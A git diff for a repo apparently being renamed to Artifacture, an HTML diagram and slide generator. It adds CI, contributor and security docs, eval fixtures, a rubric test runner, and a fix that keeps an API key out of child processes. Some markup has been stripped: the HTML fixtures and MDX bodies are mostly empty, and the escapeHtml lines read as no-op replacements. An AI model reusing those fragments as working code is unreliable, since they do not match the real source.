diff --git a/.claude-plugin/marketplace.json b/.claude-plugin/marketplace.json index 6618bf7..c5f264e 100644 --- a/.claude-plugin/marketplace.json +++ b/.claude-plugin/marketplace.json @@ -15,9 +15,9 @@ "description": "Generate beautiful HTML pages for diagrams, diff reviews, plan reviews, slides, and data tables", "version": "0.7.0", "author": { - "name": "nicobailon" + "name": "Clayton Kim" }, - "repository": "https://github.com/nicobailon/visual-explainer", + "repository": "https://github.com/theclaymethod/artifacture", "license": "MIT", "keywords": [ "diagrams", diff --git a/.github/ISSUE_TEMPLATE/bug.yml b/.github/ISSUE_TEMPLATE/bug.yml new file mode 100644 index 0000000..17eeed2 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/bug.yml @@ -0,0 +1,33 @@ +name: Bug report +description: Report a problem with Artifacture +labels: ["bug"] +body: + - type: textarea + id: what-happened + attributes: + label: What happened + description: What did you expect, and what did you get instead? + validations: + required: true + - type: input + id: command + attributes: + label: Exact command + description: The exact command you ran (e.g. `npm run ve:export -- ...`). + placeholder: npm run ve:export -- src/diagram.mdx --out out.html + validations: + required: true + - type: checkboxes + id: attachment + attributes: + label: Attachment + options: + - label: I attached the generated artifact and/or MDX/TSX source that reproduces this. + - type: textarea + id: envinfo + attributes: + label: Environment + description: Output of `npx envinfo --system --binaries --npmPackages artifacture`. + render: shell + validations: + required: true diff --git a/.github/pull_request_template.md b/.github/pull_request_template.md new file mode 100644 index 0000000..14cc9b7 --- /dev/null +++ b/.github/pull_request_template.md @@ -0,0 +1,10 @@ +## Checklist + +- [ ] `npm run ve:check` passes. +- [ ] `npm run ve:eval` passes. +- [ ] If this PR adds a check, I added a seeded violation fixture and an + `evals/expectations.json` entry for it. +- [ ] If this PR adds a component, I updated `SKILL.md` and the + `sharedComponents` set in `scripts/ve-mdx/integrity.mjs`. + +## What does this change and why? diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml new file mode 100644 index 0000000..31e7a58 --- /dev/null +++ b/.github/workflows/ci.yml @@ -0,0 +1,36 @@ +name: CI + +on: + push: + branches: [main] + pull_request: + +jobs: + static: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - uses: actions/setup-node@v4 + with: + node-version-file: '.nvmrc' + cache: npm + - run: npm ci + - run: npm run ve:check-integrity + # Plan 004 (release hygiene) landed before this workflow was written, + # so all manifest version sources already agree — this job is + # blocking rather than continue-on-error, per that plan's guidance to + # flip it once versions are consistent. See plan 003 NOTES. + - run: npm run check:manifests + - run: npm run ve:check + + evals: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - uses: actions/setup-node@v4 + with: + node-version-file: '.nvmrc' + cache: npm + - run: npm ci + - run: npx playwright install --with-deps chromium + - run: npm run ve:eval diff --git a/.nvmrc b/.nvmrc new file mode 100644 index 0000000..2bd5a0a --- /dev/null +++ b/.nvmrc @@ -0,0 +1 @@ +22 diff --git a/CHANGELOG.md b/CHANGELOG.md index 73c5071..b8deaa3 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,5 +1,14 @@ # Changelog +## [0.7.0] - 2026-07-04 + +### Changed +- Renamed to Artifacture; published as a standalone repo (github.com/theclaymethod/artifacture). +- MDX/React source-first pipeline with 17 shared components and build-time Shiki. +- ve-verify: 207-check deterministic design gate with seeded-violation eval suite. +- Multi-model eval harness (evals/model-matrix) with blind acuity judging. +- Tiered agent docs: SKILL.md + per-flow cards. + ## [0.6.3] - 2026-03-09 ### Documentation diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md new file mode 100644 index 0000000..67a96ea --- /dev/null +++ b/CONTRIBUTING.md @@ -0,0 +1,50 @@ +# Contributing + +## Dev setup + +- Node >= 22. +- `npm ci` +- `npx playwright install chromium`. The verifier's browser stage uses + `playwright-core`, which never downloads browsers itself. +- `npm run ve:eval`. If it exits green, your environment is working. + +## Adding a check + +`ve-verify` is a deterministic design-quality gate driven by +`plugins/visual-explainer/scripts/verify/checks.json` (a list of check +objects with `id`, `family`, `severity`, `spec`, etc.). To add one: + +1. Add an entry to `checks.json` with a unique `id`. +2. Implement the check logic wherever the matching stage/family lives in + `plugins/visual-explainer/scripts/verify/`. +3. Add a seeded violation fixture at + `evals/fixtures/violations/.html` that trips the new check and + nothing else. +4. Add the fixture's expected result to `evals/expectations.json`. +5. Run `npm run ve:eval` and confirm the new fixture is caught. + +## Adding a shared component + +1. Export the component from `visual-explainer-mdx/components.tsx`. +2. Add its name to the `sharedComponents` set in + `scripts/ve-mdx/integrity.mjs:4-22` (strict-export integrity checks + against this list). +3. Add it to the component list in `plugins/visual-explainer/SKILL.md`. +4. Run `npm run ve:check` to confirm export integrity holds. + +## Adding a preset + +Presets are semantic-token layers in `visual-explainer-mdx/global.css`, +selected via `data-ve-preset=""` on the root. Add a new +`[data-ve-preset=""] { ... }` block that sets the same semantic +tokens the existing presets set (mono-industrial, nothing, blueprint, +editorial, paper-ink, terminal, custom) — don't introduce new token names. + +## Before you open a PR + +- `npm run ve:check` must pass. +- `npm run ve:eval` must pass. +- If you touched or generated an HTML artifact, run the verifier on it + (`node plugins/visual-explainer/scripts/verify/ve-verify.mjs `) + and fix any error-severity failures. +- Follow the checklist in the PR template. diff --git a/README.md b/README.md index c407f71..fd692fe 100644 --- a/README.md +++ b/README.md @@ -67,6 +67,9 @@ Any agent with skills support (Claude Code, Codex, Cursor, and others), via the npx skills add theclaymethod/artifacture ``` +First generation clones the render pipeline to `~/.artifacture` (one-time, +Node >= 22); full-clone installs use the repo in place. + **Claude Code, as a plugin:** ```bash diff --git a/SECURITY.md b/SECURITY.md new file mode 100644 index 0000000..7decac6 --- /dev/null +++ b/SECURITY.md @@ -0,0 +1,14 @@ +# Security Policy + +## Reporting a vulnerability + +Report vulnerabilities privately through GitHub Security Advisories on +[theclaymethod/artifacture](https://github.com/theclaymethod/artifacture/security/advisories/new). +Do not open a public issue for security reports. + +Include what you found, how to reproduce it, and the affected version. + +## What to expect + +There is no bounty program. We ask for a 90-day disclosure courtesy window +before any public write-up, so a fix can ship first. diff --git a/evals/fixtures/clean/clean-rich-page.html b/evals/fixtures/clean/clean-rich-page.html new file mode 100644 index 0000000..3e7d153 --- /dev/null +++ b/evals/fixtures/clean/clean-rich-page.html @@ -0,0 +1,25 @@ +Visual Explainer + + +
\ No newline at end of file diff --git a/evals/fixtures/clean/clean-rich-slides.html b/evals/fixtures/clean/clean-rich-slides.html new file mode 100644 index 0000000..1ddf3ff --- /dev/null +++ b/evals/fixtures/clean/clean-rich-slides.html @@ -0,0 +1,29 @@ +Visual Explainer + + +
\ No newline at end of file diff --git a/evals/fixtures/rubrics/deck-content-completeness/clean.json b/evals/fixtures/rubrics/deck-content-completeness/clean.json new file mode 100644 index 0000000..6598e6e --- /dev/null +++ b/evals/fixtures/rubrics/deck-content-completeness/clean.json @@ -0,0 +1,7 @@ +{ + "context": "Every source section, decision card, and table row has a corresponding slide; two short bullets were legitimately consolidated into one.", + "judge_response": { + "pass": true, + "findings": [] + } +} diff --git a/evals/fixtures/rubrics/deck-content-completeness/fire.json b/evals/fixtures/rubrics/deck-content-completeness/fire.json new file mode 100644 index 0000000..f66d229 --- /dev/null +++ b/evals/fixtures/rubrics/deck-content-completeness/fire.json @@ -0,0 +1,13 @@ +{ + "context": "Source document has 7 decision cards; the deck's extracted text only covers 4 of them.", + "judge_response": { + "pass": false, + "findings": [ + { + "check_id": "deck-content-completeness", + "evidence": "source table rows 'Rollback policy', 'On-call rotation', and 'Data retention window' have no corresponding slide heading, bullet, or card text anywhere in the extracted deck text", + "fix": "Add slides (or fold into existing slides with explicit callouts) for the 3 missing decision items, or note the intentional exclusion." + } + ] + } +} diff --git a/evals/fixtures/rubrics/diagram-type-coherent/clean.json b/evals/fixtures/rubrics/diagram-type-coherent/clean.json new file mode 100644 index 0000000..599f4dc --- /dev/null +++ b/evals/fixtures/rubrics/diagram-type-coherent/clean.json @@ -0,0 +1,7 @@ +{ + "context": "Figure screenshot is a single hand-authored flow diagram, one shape vocabulary throughout.", + "judge_response": { + "pass": true, + "findings": [] + } +} diff --git a/evals/fixtures/rubrics/diagram-type-coherent/fire.json b/evals/fixtures/rubrics/diagram-type-coherent/fire.json new file mode 100644 index 0000000..dc01d67 --- /dev/null +++ b/evals/fixtures/rubrics/diagram-type-coherent/fire.json @@ -0,0 +1,13 @@ +{ + "context": "Figure screenshot mixes swimlane lanes with a nested-containment metaphor in one canvas.", + "judge_response": { + "pass": false, + "findings": [ + { + "check_id": "diagram-type-coherent", + "evidence": "figure 1 screenshot: left half draws horizontal swimlanes, right half draws nested containment boxes for the same data — reads as two diagram types glued together", + "fix": "Pick one diagram type (swimlane or nested-containment) for the whole figure and redraw the other half to match." + } + ] + } +} diff --git a/evals/fixtures/rubrics/fixed-ui-obscures-content/clean.json b/evals/fixtures/rubrics/fixed-ui-obscures-content/clean.json new file mode 100644 index 0000000..577dc5e --- /dev/null +++ b/evals/fixtures/rubrics/fixed-ui-obscures-content/clean.json @@ -0,0 +1,7 @@ +{ + "context": "390x844 screenshot shows the fixed theme toggle in a corner with no overlap onto readable or clickable content.", + "judge_response": { + "pass": true, + "findings": [] + } +} diff --git a/evals/fixtures/rubrics/fixed-ui-obscures-content/fire.json b/evals/fixtures/rubrics/fixed-ui-obscures-content/fire.json new file mode 100644 index 0000000..dcfc0ad --- /dev/null +++ b/evals/fixtures/rubrics/fixed-ui-obscures-content/fire.json @@ -0,0 +1,13 @@ +{ + "context": "390x844 screenshot shows a floating theme toggle covering the page title.", + "judge_response": { + "pass": false, + "findings": [ + { + "check_id": "fixed-ui-obscures-content", + "evidence": "390-light screenshot: fixed theme-toggle button overlaps the top third of the h1 title text, making it unreadable", + "fix": "Reposition the fixed toggle away from primary content, or add safe-area padding to the title block." + } + ] + } +} diff --git a/evals/fixtures/rubrics/preset-both-mode-visual/clean.json b/evals/fixtures/rubrics/preset-both-mode-visual/clean.json new file mode 100644 index 0000000..ce1caef --- /dev/null +++ b/evals/fixtures/rubrics/preset-both-mode-visual/clean.json @@ -0,0 +1,7 @@ +{ + "context": "Paired light and dark full-page screenshots both invert cleanly with no leftover wrong-mode fills.", + "judge_response": { + "pass": true, + "findings": [] + } +} diff --git a/evals/fixtures/rubrics/preset-both-mode-visual/fire.json b/evals/fixtures/rubrics/preset-both-mode-visual/fire.json new file mode 100644 index 0000000..2d05dae --- /dev/null +++ b/evals/fixtures/rubrics/preset-both-mode-visual/fire.json @@ -0,0 +1,13 @@ +{ + "context": "A Mono page where one section's background stays dark in light mode because its fill was hard-coded.", + "judge_response": { + "pass": false, + "findings": [ + { + "check_id": "preset-both-mode-visual", + "evidence": "light screenshot: the 'Status' card panel keeps a #0b0d10 dark background while the rest of the page is on the light token set, reading as a broken invert", + "fix": "Replace the hard-coded background with the theme token so it participates in the light/dark swap." + } + ] + } +} diff --git a/evals/fixtures/rubrics/reel-caption-matches-transcript/clean/captions.json b/evals/fixtures/rubrics/reel-caption-matches-transcript/clean/captions.json new file mode 100644 index 0000000..fb984ab --- /dev/null +++ b/evals/fixtures/rubrics/reel-caption-matches-transcript/clean/captions.json @@ -0,0 +1,5 @@ +{ + "segments": [ + { "start": 0.0, "end": 2.2, "text": "Our engine cuts p99 latency in half." } + ] +} diff --git a/evals/fixtures/rubrics/reel-caption-matches-transcript/clean/transcript.json b/evals/fixtures/rubrics/reel-caption-matches-transcript/clean/transcript.json new file mode 100644 index 0000000..0888d4a --- /dev/null +++ b/evals/fixtures/rubrics/reel-caption-matches-transcript/clean/transcript.json @@ -0,0 +1,11 @@ +{ + "words": [ + { "text": "Our", "start": 0.0, "end": 0.2 }, + { "text": "engine", "start": 0.2, "end": 0.6 }, + { "text": "cuts", "start": 0.6, "end": 0.9 }, + { "text": "p99", "start": 0.9, "end": 1.2 }, + { "text": "latency", "start": 1.2, "end": 1.7 }, + { "text": "in", "start": 1.7, "end": 1.8 }, + { "text": "half", "start": 1.8, "end": 2.2 } + ] +} diff --git a/evals/fixtures/rubrics/reel-caption-matches-transcript/fire/captions.json b/evals/fixtures/rubrics/reel-caption-matches-transcript/fire/captions.json new file mode 100644 index 0000000..943bc13 --- /dev/null +++ b/evals/fixtures/rubrics/reel-caption-matches-transcript/fire/captions.json @@ -0,0 +1,5 @@ +{ + "segments": [ + { "start": 0.0, "end": 2.2, "text": "We speed up queries" } + ] +} diff --git a/evals/fixtures/rubrics/reel-caption-matches-transcript/fire/transcript.json b/evals/fixtures/rubrics/reel-caption-matches-transcript/fire/transcript.json new file mode 100644 index 0000000..0888d4a --- /dev/null +++ b/evals/fixtures/rubrics/reel-caption-matches-transcript/fire/transcript.json @@ -0,0 +1,11 @@ +{ + "words": [ + { "text": "Our", "start": 0.0, "end": 0.2 }, + { "text": "engine", "start": 0.2, "end": 0.6 }, + { "text": "cuts", "start": 0.6, "end": 0.9 }, + { "text": "p99", "start": 0.9, "end": 1.2 }, + { "text": "latency", "start": 1.2, "end": 1.7 }, + { "text": "in", "start": 1.7, "end": 1.8 }, + { "text": "half", "start": 1.8, "end": 2.2 } + ] +} diff --git a/evals/fixtures/rubrics/text-visibly-clipped/clean.json b/evals/fixtures/rubrics/text-visibly-clipped/clean.json new file mode 100644 index 0000000..d6da184 --- /dev/null +++ b/evals/fixtures/rubrics/text-visibly-clipped/clean.json @@ -0,0 +1,7 @@ +{ + "context": "390x844 light/dark screenshots show all headings and body text fully visible with normal line wrapping.", + "judge_response": { + "pass": true, + "findings": [] + } +} diff --git a/evals/fixtures/rubrics/text-visibly-clipped/fire.json b/evals/fixtures/rubrics/text-visibly-clipped/fire.json new file mode 100644 index 0000000..83542e2 --- /dev/null +++ b/evals/fixtures/rubrics/text-visibly-clipped/fire.json @@ -0,0 +1,13 @@ +{ + "context": "390x844 light/dark screenshots show a mobile heading losing its final word at the right edge with no ellipsis.", + "judge_response": { + "pass": false, + "findings": [ + { + "check_id": "text-visibly-clipped", + "evidence": "390-light screenshot: heading 'Architect...' chopped mid-word by the hero container's overflow:hidden edge, no ellipsis present", + "fix": "Add text-overflow: ellipsis or increase container width/line-height so the heading is not chopped mid-character." + } + ] + } +} diff --git a/evals/model-matrix/gallery.mjs b/evals/model-matrix/gallery.mjs index 4418401..a3cfe1c 100644 --- a/evals/model-matrix/gallery.mjs +++ b/evals/model-matrix/gallery.mjs @@ -106,7 +106,8 @@ function escapeHtml(value) { .replaceAll('&', '&') .replaceAll('<', '<') .replaceAll('>', '>') - .replaceAll('"', '"'); + .replaceAll('"', '"') + .replaceAll("'", '''); } if (import.meta.url === `file://${process.argv[1]}`) { diff --git a/evals/model-matrix/run-matrix.mjs b/evals/model-matrix/run-matrix.mjs index 2936cd0..3e11b30 100644 --- a/evals/model-matrix/run-matrix.mjs +++ b/evals/model-matrix/run-matrix.mjs @@ -638,30 +638,34 @@ async function fetchWithRetry(url, options) { async function generateCodexCli({ prompt, sourcePath, cellDir }) { const tmpDir = await fs.mkdtemp(path.join(cellDir, 'prompt-')); - const tmpPrompt = path.join(tmpDir, 'prompt.txt'); - await fs.writeFile(tmpPrompt, prompt); - const instruction = `Read ${tmpPrompt} and follow it. Write the source file to ${sourcePath} and do nothing else.`; - const codexArgs = [ - 'exec', - '--sandbox', - 'workspace-write', - '-c', - 'model_reasoning_effort="medium"', - instruction, - ]; - let result; - for (let attempt = 0; attempt < 2; attempt += 1) { - // stdin must be closed: codex sniffs a piped stdin and blocks on it. - result = await runCommand('codex', codexArgs, { timeoutMs: 30 * 60 * 1000, cwd: repoRoot, stdin: 'ignore' }); - if (result.timedOut) return { status: 'timeout', meta: { command: commandMeta(result) } }; - if (result.exitCode === 0) return { source: null, usage: null, meta: { command: commandMeta(result) } }; - const output = `${result.stderr || ''}\n${result.stdout || ''}`; - if (/usage limit|purchase more credits/i.test(output)) { - return { status: 'quota', error: 'codex-cli usage limit reached', meta: { command: commandMeta(result) } }; + try { + const tmpPrompt = path.join(tmpDir, 'prompt.txt'); + await fs.writeFile(tmpPrompt, prompt); + const instruction = `Read ${tmpPrompt} and follow it. Write the source file to ${sourcePath} and do nothing else.`; + const codexArgs = [ + 'exec', + '--sandbox', + 'workspace-write', + '-c', + 'model_reasoning_effort="medium"', + instruction, + ]; + let result; + for (let attempt = 0; attempt < 2; attempt += 1) { + // stdin must be closed: codex sniffs a piped stdin and blocks on it. + result = await runCommand('codex', codexArgs, { timeoutMs: 30 * 60 * 1000, cwd: repoRoot, stdin: 'ignore' }); + if (result.timedOut) return { status: 'timeout', meta: { command: commandMeta(result) } }; + if (result.exitCode === 0) return { source: null, usage: null, meta: { command: commandMeta(result) } }; + const output = `${result.stderr || ''}\n${result.stdout || ''}`; + if (/usage limit|purchase more credits/i.test(output)) { + return { status: 'quota', error: 'codex-cli usage limit reached', meta: { command: commandMeta(result) } }; + } + if (attempt === 0) await sleep(5000); } - if (attempt === 0) await sleep(5000); + throw new Error(`codex-cli failed: ${result.stderr || result.stdout}`); + } finally { + await fs.rm(tmpDir, { recursive: true, force: true }); } - throw new Error(`codex-cli failed: ${result.stderr || result.stdout}`); } function stripCodeFences(source) { @@ -681,9 +685,16 @@ function commandMeta(result) { }; } +// Every process this harness spawns (export, verify, codex-cli) is fed +// model-generated source or invoked against it. None of them need the +// OpenRouter key — only the in-process fetch calls in generateOpenRouter() +// and callAcuityJudge() do — so it's stripped from every child env here to +// keep it from leaking to untrusted model output or third-party CLIs. async function runCommand(cmd, args, { timeoutMs, cwd = repoRoot } = {}) { + const env = { ...process.env }; + delete env.OPENROUTER_API_KEY; return await new Promise((resolve) => { - const child = spawn(cmd, args, { cwd, stdio: ['ignore', 'pipe', 'pipe'] }); + const child = spawn(cmd, args, { cwd, env, stdio: ['ignore', 'pipe', 'pipe'] }); let stdout = ''; let stderr = ''; let timedOut = false; diff --git a/evals/parity-allowlist.json b/evals/parity-allowlist.json new file mode 100644 index 0000000..fe51488 --- /dev/null +++ b/evals/parity-allowlist.json @@ -0,0 +1 @@ +[] diff --git a/evals/rubric-coverage.json b/evals/rubric-coverage.json new file mode 100644 index 0000000..9677a05 --- /dev/null +++ b/evals/rubric-coverage.json @@ -0,0 +1,39 @@ +{ + "note": "Tracks executable-fixture coverage for the 30 llm-pass/transcript catalog checks that evals/run.mjs cannot exercise (see plans/007-DESIGN-NOTE.md). Separate from evals/parity-allowlist.json, which is scoped to deterministic-stage (static-text/static-dom/browser) checks only.", + "total_llm_pass_and_transcript_checks": 30, + "covered_by_evals_run_rubrics": [ + "text-visibly-clipped", + "fixed-ui-obscures-content", + "diagram-type-coherent", + "preset-both-mode-visual", + "deck-content-completeness", + "reel-caption-matches-transcript" + ], + "remaining_uncovered": [ + "real-table-for-tabular-data", + "hierarchy-squint-test", + "unslop-prose-style", + "diagram-legend-matches-figure", + "diagram-focal-single-dominant", + "diagram-proportional-honesty-visual", + "diagram-removal-simplicity", + "diagram-necessity", + "mono-status-value-judgment", + "mono-one-surprise", + "mono-three-layer-squint", + "nothing-accent-red-judgment", + "nothing-single-grid-break", + "slide-single-focal-point", + "composition-variety-visual", + "sparse-diagram-slide", + "poster-visual-fit-squint", + "reel-no-mid-word-cuts", + "demo-aesthetic-match", + "demo-adds-value", + "font-pairing-same-classification", + "default-accent-reflex", + "copy-redundancy", + "jargon-undefined" + ], + "remaining_count": 24 +} diff --git a/evals/run-rubrics.mjs b/evals/run-rubrics.mjs new file mode 100644 index 0000000..770ee76 --- /dev/null +++ b/evals/run-rubrics.mjs @@ -0,0 +1,187 @@ +#!/usr/bin/env node +// Regression suite for the 30 llm-pass/transcript catalog checks that +// evals/run.mjs cannot exercise (it filters to static-text/static-dom/browser +// stages by design — see plans/007-DESIGN-NOTE.md for why). +// +// Mechanism (design note, mechanism A "stub judge" + one real-algorithm +// exception): the production verifier never calls a model in-process — see +// engine.mjs's stage handling for llm-pass/transcript, which only marks a +// status without invoking anything. The actual model call happens outside +// this codebase, via a Task-agent protocol that reads a rubric file and +// returns a JSON verdict `{pass, findings:[{check_id, evidence, fix}]}` +// (schema repeated verbatim across every file in scripts/verify/rubrics/). +// Since there is no existing parser for that verdict shape to reuse or +// stub, this runner owns a small purpose-built version of it, scoped +// entirely to evals/ — it does not modify the verifier. +// +// Two fixture families, mirroring evals/run.mjs's fixture/expectation split: +// 1. Canned-judge checks (5 of the 6): evals/fixtures/rubrics//{fire,clean}.json +// each holding a canned judge_response. deriveStatus() below is the +// plumbing under test: does a finding tagged with this check's id +// correctly flip it to fail (per its checks.json severity), and does +// an empty findings list correctly leave it passing. +// 2. reel-caption-matches-transcript: implements the REAL deterministic +// word-overlap scorer from checks.json's spec/impl_hint (the common +// case needs no model at all; only the 85-90% borderline band would +// need an LLM tie-break, which this runner does not exercise). + +import { readFileSync, readdirSync, existsSync } from 'node:fs'; +import { dirname, join, resolve } from 'node:path'; +import { fileURLToPath } from 'node:url'; + +const EVAL_ROOT = dirname(fileURLToPath(import.meta.url)); +const REPO_ROOT = resolve(EVAL_ROOT, '..'); +const RUBRICS_FIXTURES_ROOT = join(EVAL_ROOT, 'fixtures', 'rubrics'); + +const checksCatalog = JSON.parse( + readFileSync(resolve(REPO_ROOT, 'plugins/visual-explainer/scripts/verify/checks.json'), 'utf8'), +).checks; + +const severityById = new Map(checksCatalog.map((check) => [check.id, check.severity])); + +// The first implementation slice from plan 007 step 3: 6 checks, the +// 13 error-severity uncovered checks are the priority pool this was drawn +// from. `mode: 'stub'` checks are asserted via deriveStatus() against a +// canned judge_response fixture; `mode: 'algorithm'` runs the real scorer. +const SLICE = [ + { id: 'text-visibly-clipped', mode: 'stub' }, + { id: 'fixed-ui-obscures-content', mode: 'stub' }, + { id: 'diagram-type-coherent', mode: 'stub' }, + { id: 'preset-both-mode-visual', mode: 'stub' }, + { id: 'deck-content-completeness', mode: 'stub' }, + { id: 'reel-caption-matches-transcript', mode: 'algorithm' }, +]; + +// --- Mechanism A plumbing: verdict -> check status ------------------------- +// Mirrors the actionable-result-to-status logic engine.mjs:64-75 applies to +// static-text/static-dom/browser results, adapted for a rubric verdict +// instead of a stage implementation's return value. +export function deriveStatus(checkId, judgeResponse, severity) { + if (!judgeResponse || !Array.isArray(judgeResponse.findings)) { + throw new Error(`malformed judge response for ${checkId}: missing findings array`); + } + const finding = judgeResponse.findings.find((entry) => entry.check_id === checkId); + if (!finding) return { status: 'pass', evidence: 'ok' }; + const status = severity === 'warn' ? 'warn' : 'fail'; + return { status, evidence: finding.evidence || '', fix_hint: finding.fix || '' }; +} + +function runStubCheck(id) { + const severity = severityById.get(id); + if (!severity) throw new Error(`checks.json has no entry for ${id} (catalog drift?)`); + const dir = join(RUBRICS_FIXTURES_ROOT, id); + const rows = []; + for (const caseName of ['fire', 'clean']) { + const fixturePath = join(dir, `${caseName}.json`); + if (!existsSync(fixturePath)) { + rows.push({ id, caseName, status: 'error', message: `missing fixture ${fixturePath}` }); + continue; + } + const fixture = JSON.parse(readFileSync(fixturePath, 'utf8')); + const result = deriveStatus(id, fixture.judge_response, severity); + const expected = caseName === 'fire' ? (severity === 'warn' ? 'warn' : 'fail') : 'pass'; + const pass = result.status === expected; + rows.push({ + id, + caseName, + status: pass ? 'pass' : 'FAIL', + message: pass ? `derived=${result.status}` : `expected=${expected} derived=${result.status}`, + }); + } + return rows; +} + +// --- Real algorithm: word-overlap scorer for caption vs. transcript -------- +// Per checks.json's impl_hint: "Normalize both streams; sliding-window +// overlap ratio per caption." A full sliding-window implementation is +// overkill for proving the plumbing works; a multiset overlap ratio over +// normalized words is a faithful, order-tolerant approximation of the same +// idea and is what's implemented here. +const OVERLAP_THRESHOLD = 0.9; + +export function normalizeWords(text) { + return text + .toLowerCase() + .replace(/[^\w\s]/g, ' ') + .split(/\s+/) + .filter(Boolean); +} + +export function overlapRatio(captionWords, transcriptWords) { + if (captionWords.length === 0) return 1; + const pool = [...transcriptWords]; + let matched = 0; + for (const word of captionWords) { + const idx = pool.indexOf(word); + if (idx !== -1) { + matched += 1; + pool.splice(idx, 1); + } + } + return matched / captionWords.length; +} + +function runTranscriptCheck(id) { + const severity = severityById.get(id); + if (!severity) throw new Error(`checks.json has no entry for ${id} (catalog drift?)`); + const dir = join(RUBRICS_FIXTURES_ROOT, id); + const rows = []; + for (const caseName of ['fire', 'clean']) { + const captionsPath = join(dir, caseName, 'captions.json'); + const transcriptPath = join(dir, caseName, 'transcript.json'); + if (!existsSync(captionsPath) || !existsSync(transcriptPath)) { + rows.push({ id, caseName, status: 'error', message: `missing fixture under ${join(dir, caseName)}` }); + continue; + } + const { segments } = JSON.parse(readFileSync(captionsPath, 'utf8')); + const { words } = JSON.parse(readFileSync(transcriptPath, 'utf8')); + const captionText = segments.map((segment) => segment.text).join(' '); + const captionWords = normalizeWords(captionText); + const transcriptWords = words.map((word) => normalizeWords(word.text)[0]).filter(Boolean); + const ratio = overlapRatio(captionWords, transcriptWords); + const derivedStatus = ratio < OVERLAP_THRESHOLD ? (severity === 'warn' ? 'warn' : 'fail') : 'pass'; + const expected = caseName === 'fire' ? (severity === 'warn' ? 'warn' : 'fail') : 'pass'; + const pass = derivedStatus === expected; + rows.push({ + id, + caseName, + status: pass ? 'pass' : 'FAIL', + message: pass + ? `ratio=${ratio.toFixed(2)} derived=${derivedStatus}` + : `expected=${expected} derived=${derivedStatus} ratio=${ratio.toFixed(2)}`, + }); + } + return rows; +} + +// --- Driver ------------------------------------------------------------ + +const catalogIds = new Set(checksCatalog.map((check) => check.id)); +const missingFromCatalog = SLICE.filter((entry) => !catalogIds.has(entry.id)); +if (missingFromCatalog.length) { + console.error(`Slice references ids not present in checks.json: ${missingFromCatalog.map((e) => e.id).join(', ')}`); + process.exit(2); +} + +const allRows = []; +for (const entry of SLICE) { + const rows = entry.mode === 'algorithm' ? runTranscriptCheck(entry.id) : runStubCheck(entry.id); + allRows.push(...rows); +} + +console.log('check_id,case,status,detail'); +for (const row of allRows) { + console.log(`${row.id},${row.caseName},${row.status},${row.message}`); +} + +const failures = allRows.filter((row) => row.status !== 'pass'); +if (failures.length) { + console.error('\nFailures:'); + for (const failure of failures) { + console.error(`- ${failure.id} (${failure.caseName}): ${failure.message}`); + } + process.exit(1); +} + +const checksCovered = new Set(allRows.map((row) => row.id)).size; +console.log(`\nAll ${allRows.length} assertions passed across ${checksCovered} checks (fire + no-fire each).`); diff --git a/evals/run.mjs b/evals/run.mjs index 46de401..92c6f73 100644 --- a/evals/run.mjs +++ b/evals/run.mjs @@ -127,6 +127,22 @@ if (missingExpectations.length || missingFixtures.length) { process.exit(1); } +const parityAllowlistPath = join(EVAL_ROOT, 'parity-allowlist.json'); +const parityAllowlist = new Set(JSON.parse(readFileSync(parityAllowlistPath, 'utf8'))); +const violationFileSet = new Set(violationFiles); +const missingCatalogFixtures = [...stagesByFixture.keys()] + .map((fileName) => basename(fileName, '.html')) + .filter((id) => !parityAllowlist.has(id)) + .filter((id) => !violationFileSet.has(`${id}.html`)) + .sort(); + +if (missingCatalogFixtures.length) { + console.error('Catalog/fixture parity mismatch'); + console.error(`Deterministic catalog checks missing a violation fixture: ${missingCatalogFixtures.join(', ')}`); + console.error('Add a fixture under evals/fixtures/violations/, or list the id in evals/parity-allowlist.json if intentionally deferred.'); + process.exit(1); +} + const violationResults = violationFiles.map((file) => checkViolation(file, expectations[file])); const cleanResults = readdirSync(cleanRoot) .filter((file) => file.endsWith('.html')) diff --git a/examples/visual-explainer-mdx/clean-rich-page.mdx b/examples/visual-explainer-mdx/clean-rich-page.mdx new file mode 100644 index 0000000..8ebab78 --- /dev/null +++ b/examples/visual-explainer-mdx/clean-rich-page.mdx @@ -0,0 +1,110 @@ +import { + DecisionMatrix, + DiagramCanvas, + DiffBlock, + ExplainerShell, + JsonTree, + Quiz, + Section, +} from '../../visual-explainer-mdx/components'; + +export default function CleanRichPage() { + return ( + +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+
+ ); +} diff --git a/examples/visual-explainer-mdx/clean-rich-slides.mdx b/examples/visual-explainer-mdx/clean-rich-slides.mdx new file mode 100644 index 0000000..13e76b1 --- /dev/null +++ b/examples/visual-explainer-mdx/clean-rich-slides.mdx @@ -0,0 +1,59 @@ +import { CodeBlock, MermaidBlock, Pipeline, Slide, SlideDeck } from '../../visual-explainer-mdx/components'; + +export default function CleanRichSlidesExample() { + return ( + + +

+ This fixture exercises the slides profile end to end: prose, a component pipeline, highlighted + code, a runtime Mermaid diagram, and a closing accent slide, all as MDX source exported to a + single self-contained HTML artifact. +

+
+ + + + + + + + + + + Draft + Draft --> Review: share + Review --> Draft: comments + Review --> Approved: done + Approved --> [*]`} + /> + + + +

+ PDF and per-slide poster exports remain follow-on artifacts. The interactive HTML deck stays + canonical, and every slide profile in this deck verifies clean. +

+
+
